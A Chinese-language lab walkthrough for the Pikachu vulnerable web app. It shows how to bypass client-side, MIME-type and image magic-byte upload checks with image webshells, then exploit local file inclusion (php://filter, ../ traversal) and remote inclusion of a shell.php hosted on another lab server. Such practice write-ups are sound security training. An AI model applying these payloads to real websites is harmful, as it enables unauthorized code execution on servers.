pikachu_文件上传和文件包含
文件上传
1.客户端检查
要求上传图片,此处准备一个php文件上传:
//shell.php
<?php
phpinfo();
?>
选完就提示不合规,那么修改后缀,改为phpinfo.jpg
上传成功,此处为浏览器前端检查
2.MIME类型检查
上传shell.php,显示格式不正确
可以看出没有进行前端检查,那么可以上传shell.php尝试重放改包
将 Content-Type
改为 image/jpeg
上传成功
这里直接修改后缀也能成功
3.getimagesize幻数检查
直接上传或修改类型,会显示后缀错误
修改后缀名,会显示是假图片
那么这里应该是对图片的幻数进行了检查
常见的php函数有
getimagesize()
获取图片尺寸,失败时返回false,当文件不是图片时,会失败。
exif_imagetype()
通过幻数判断图片格式
可以通过图片马绕过
制作图片马
//windows
copy myimg.jpg/b + shell.php/a shell.jpg
//linux方法1
echo '<?php phpinfo; ?>' >> myimg.jpg
//linux方法2
cat shell.php | >> myimg.jpg
其中的/b
指用二进制方式读取,/a
表示用ascii码读取
上传成功
此外,还可以通过16进制编辑器给shell.php添加图片幻数来制作
文件包含
1.本地包含
url中通过get传递了文件名来获取文件,那么直接将参数改为该页面文件名,使用php伪协议php://filter
读获取页面php代码
http://192.168.248.128:81/pikachu/vul/fileinclude/fi_local.php?filename=php://filter/read/convert.base64-encode/resource=fi_local.php
说明伪协议可能用不了
那么再查看页面源代码,发现返回图片的位置为include
目录
此时可以尝试路径穿越到上传文件的目录uploads
,使用之前上传的木马。
但这里直接可以看到路径pikachu/vul/fileinclude/include
,而上传的路径在上传文件的目录有显示为pikachu/vul/unsafeupload/uploads
,那么payload应为
../../unsafeupload/uploads/shell.php
2.远程包含
php中include
包含远程文件的前提是php.ini中 allow_url_fopen=On
(默认开启) 和 allow_url_include=Off
(默认关闭)要开启
修改后保存,重启pikachu
查看网页源代码,找到页面和图片来源
可以看到还是本地的,但因为 allow_url_include
为开启状态,远程包含是可行的
在另一台服务器中放置木马文件,那么就在pikachu的url里将其包含进来
http://192.168.248.139/shell.php
成功执行